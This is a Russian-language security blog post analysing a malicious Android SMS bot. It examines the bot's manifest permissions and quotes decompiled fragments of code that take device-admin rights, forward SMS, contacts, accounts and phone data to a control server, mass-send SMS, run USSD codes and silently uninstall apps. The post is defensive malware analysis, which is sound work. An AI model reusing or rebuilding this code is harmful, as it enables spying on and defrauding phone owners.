31 July 2014

Анализ sms-бота для Android. Часть II

Pentestit corporate blogInformation SecurityReverse engineering

Анализ sms-бота для Android. Часть II


Продолжение статьи Анализ sms-бота для Android. Часть I

Вступление

Еще один бот под Android, рассылаемый по «красивым» номерам вида 8***6249999 и т.д. Смской приходит ссылка вида: «Посмотрите, что о Вас известно» или «Информация для владельца» и т.д. названиесайта.ру/7***6249999"

Процесс вскрытия Android-приложений:

  • Скачиваем APK-файл;
  • Извлекаем файл манифеста;
  • Декомпилируем приложение в читаемый исходный или байт-код;
  • Анализируем манифест и код.


Джентльменский набор инструментов:

  • Apktool – Используем для того чтобы вытащить манифест и ресурсы;
  • Dex2jar – Декомпилируем APK-файл в байт-код;
  • Jd-gui – Байт-код переводим в читабельный код.


Читаем манифест

В манифесте сразу бросаются в глаза следующие строчки кода:
<receiver android:name=".IncomingSmsReceiver" android:exported="true">
…
</receiver>
<receiver android:name=".OnReboot" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true">
….
</receiver>
<receiver android:name=".AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
…
</receiver>
<receiver android:name=".RunService$Alarm" android:exported="true">
…
</receiver>
 <service android:name=".RunService" />


Из среза манифеста становится понятно что собирается делать бот:
  • Получать и обрабатывать все входящие СМС;
  • Будет что-то выполнять при перезагрузке устройства;
  • Попытается получить права администратора устройства;
  • И запускает какой-то сервис. Скорее всего этот сервис будет ждать поступления новых команд (например, управляющего сервера);

Далее, по манифесту:
   <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.INTERNET" />


Невооруженным глазом видно, что наш бот хочет получить разрешения на:
  • Запуск после ребута;
  • Получение аккаунтов;
  • Получение/отправку/написание/чтение СМС-ок;
  • Получение состояния телефона;
  • Интернет;

Итак, уже примерно проясняются намерения бота.

Mainactivity.java

Теперь переходим к анализу классов. Их у нашего бота 17 штук.
После анализа каждого из них я пришел к выводу самые основные, то есть заслуживающие внимание, из них следующие:
  • MainActivity.java;
  • Runservice.java;
  • IncomingSmsReceiver.java;
  • HandlerCMD.java;

В выше указанных классах сосредоточена основная логика бота, остальные классы – вспомогательные.

Посмотрим, что есть в классе MainActivity.
В ниже указанном, коде бот пытается получить права Админа:
this.devicePolicyManager = ((DevicePolicyManager)getSystemService("device_policy"));
if (!this.devicePolicyManager.isAdminActive(this.adminReceiver))
  {
          GetAdministrator localGetAdministrator = new GetAdministrator();
          localGetAdministrator.execute(new Void[0]);
          return;
    }


Далее, при закрытии программы он попытается запустить класс сервиса(о нем поговорим чуть ниже):
      Class localClass = Class.forName("com.driver.android.system.RunService");
      Intent localIntent = new Intent(this, localClass);
      startService(localIntent);


RunService.java

Из названия данного класса становится понятно, что он делает. Да, он запускает сервис, который:
  • проверяет свой статус;
  • получает команды от управляющего сервера и запускает обрабатывающий хэндлер;
  • проверяет исходящие СМС каждые 60 секунд;
  • блокирует звонки номеров, которые занесены в черный список бота;
  • отправляет на сервер все исходящие СМС-ки.


IncomingSmsReceiver.java

Данный класс используется как BroadcastReceiver. Из названия понятно, что данный класс нужен для получения входящих СМС-ок и отправки их содержимого на сервер. Вот подтверждающий срез кода:
localHashMap.put("addmsg",
localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(localStringBuffer6.append(localStringBuffer7.append("-->\nОтправитель: ").append(str1).toString()).append("\nТекст сообщения: ").toString()).append(str2).toString()).append("\nДата: ").toString()).append(str5).toString() + "\n-->\n\n");
SendNewSMS localSendNewSMS = new SendNewSMS(paramContext);
localSendNewSMS.execute(new HashMap[] { localHashMap });


HandlerCMD.java

По моему мнению, это самый интересный класс. Тут явно можно увидеть все функции которые выполняет бот. Данный класс тесно взаимодействует с классом Command.java, в котором расписаны действия каждой из команд. Управляющий сервер отправляет команды в виде массива строк. Хэндлер его обрабатывает и проверяет первый элемент массива paramArrayOfString[0] на наличие значения от «1» до «16». А теперь давайте пройдемся по каждой функции.

При получении «1» отправка СМС на определенный номер
    if (str1.equals("1") == true)
    {
      Commands localCommands1 = new Commands(this.context);
      localCommands1.smska(paramArrayOfString);
    }


Установка нового IP-адреса сети
      if (str1.equals("2") == true)
      {
        …
        localCommands2.newIp(paramArrayOfString[1].trim());
        … }


<b>Проверить на права админа и отправить результат на сервер</b>
<source lang="Java">      if (str1.equals("3") == true)
      {
        …
        if (localCommands3.getAdministrator()) {}
        …
        localSendPostData1.execute("http://" + this.server_ip, localHashMap1);
        …  }


Отправка на сервер всех онлайн аккаунтов пользователя
      if (str1.equals("4") == true)
      {...
        String str4 = localCommands4.getAllAccounts();
        …
    localSendPostData2.execute("http://" + this.server_ip, localHashMap2);
     …     }


Отправка на сервер список установленных приложений
      if (str1.equals("5") == true)
      {
        …
        String str5 = localCommands5.getInstallApps();
        …
        localSendPostData3.execute("http://" + this.server_ip, localHashMap3);
        …  }


Очистка «черного списка»
      if (str1.equals("6") == true)
      { …
        localCommands6.clearBL();
        …     }


Получить от сервера текст СМС-ки и разослать абонентам из локальной адресной книги
      if (str1.equals("7") == true)
      { …
        localCommands7.deliveryPhoneBook(paramArrayOfString);
        …      }


Разослать СМС-ки по списку номеров полученных от сервера
      if (str1.equals("8") == true)
      { …
        localCommands8.deliveryFromBase(paramArrayOfString);
        …  }


Получить все номера абонентов и отправить на сервер
      if (str1.equals("9") == true)
      {
        PhoneBook localPhoneBook = new PhoneBook(this.context);
        ArrayList localArrayList = localPhoneBook.getNumbers();
        …
        localSendPostData4.execute("http://" + this.server_ip, localHashMap4);
        …     }


Отправить на сервер информацию о операторе сотовой связи
      if (str1.equals("10") == true)
      { …
        String str7 = localCommands9.getProvider();
        …
        localSendPostData5.execute("http://" + this.server_ip, localHashMap5);
        …  }


Отправить на сервер версии приложений
      if (str1.equals("11") == true)
      { …
        String str8 = localCommands10.getVersionApp();
        …
        localSendPostData6.execute("http://" + this.server_ip, localHashMap6);
        … }


Отправить версию Андроида
      if (str1.equals("12") == true)
      { …
        String str9 = localCommands11.getVersionOS();
        …
        localSendPostData7.execute("http://" + this.server_ip, localHashMap7);
        …  }


Отправить код страны
      if (str1.equals("13") == true)
      { …
        String str10 = localCommands12.getCountry();
        …
        localSendPostData8.execute("http://" + this.server_ip, localHashMap8);
        … }


Отправить номер телефона устройства
      if (str1.equals("14") == true)
      { …
        String str11 = localCommands13.getPhoneNumber();
        …
        localSendPostData9.execute("http://" + this.server_ip, localHashMap9);
        …      }


Получение от сервера и исполнение, а также отправка результата выполнения USSD-сообщений
      if (str1.equals("15") == true)
      { …
        localCommands14.USSD(paramArrayOfString);
        …  }


Удаление приложения в теневом режиме
      if (str1.equals("16") == true)
      {
        Commands localCommands15 = new Commands(this.context);
        localCommands15.uninstallApp(paramArrayOfString);
        return;
      }


Выводы

Подведем итоги анализа. Бот написан более грамотно, в отличии от предыдущего. Но так же есть огрехи в защите кода. Никакой обфускации и шифрования. Благодаря чему удалось увидеть в коде IP адреса сервера, на который бот отправляет и получает данные.

Набиев Нурлан (Казахстан), отдел расследования киберпреступлений, PentestIT
Tags:Pentestitанализ вредоносного кода
Hubs: Pentestit corporate blog Information Security Reverse engineering
+26
13.7k 124
Comments 5
Top of the last 24 hours